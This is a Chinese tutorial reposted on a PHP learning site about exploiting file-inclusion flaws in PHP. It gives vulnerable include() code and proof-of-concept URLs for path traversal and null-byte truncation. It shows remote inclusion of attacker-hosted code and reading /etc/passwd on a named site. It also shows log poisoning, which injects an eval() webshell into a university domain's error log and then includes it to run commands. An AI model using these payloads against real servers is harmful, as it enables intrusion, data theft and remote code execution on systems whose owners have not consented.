来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过大家都懒得测...
有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.
关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过 大家都懒得测试,我就来整理下. 1.普通本地包含; <?php $query=$_GET['p']; include($query); ?> poc: http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php ../hanguo/test.php为包含的路径. 只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。 2.截断本地包含 require_once($a.'.php'); include($a.".php"); //等等类似此包含的函数.. 在WINDOWS下还有特别用处: \.或者./或者\或者/截断 (WINDOWS都可以使用.) 波波虎:http://www.2cto.com/Article/201208/147628.html Linux包含截断例子 (Linux ./和/可以.) %00截断包含,有gpc=off和php版本限制 poc: http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00 3.远程包含 在allow_url_include=On就是远程文件包含了,为off那就只能本地包含了. 测试case: <?php $query=$_GET['p']; include($query.".php"); ?> 连接: http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt 爆错了: Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3 include($query.".php"); 代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php. 这里我们不需要截断啦,来个360计之----将计就计. 在www.axxer.com创建个yeah.php文件; 然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加 上.php;多么爱。。。。 我们还可以用php自带协议来利用: 包含data:// 或者php://input 伪协议 这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。 http://www.schnelltest24.de/index.php?page=/etc/passwd //这个没有截断,我们尝试下用协议看看. 利用协议然后POST发送利用代码,哈哈;多么有爱~~~~. 4.日记包含高级利用 此连接已经透露出技巧了呢,连接思路简单说下: (1)访问带有一句话的错误连接(http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中. (2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........) 一先限制以及突破: 类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php 这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志. 可以使用:伪造没有Connection HTTP标头的请求包 内容2:http://www.2cto.com/Article/200810/30017.html 5.其他高级利用 (1)包含/proc/self/environ环境变量: 这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样
(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了. (3)_SESSION爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.
转自:http://zone.wooyun.org/content/2196 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com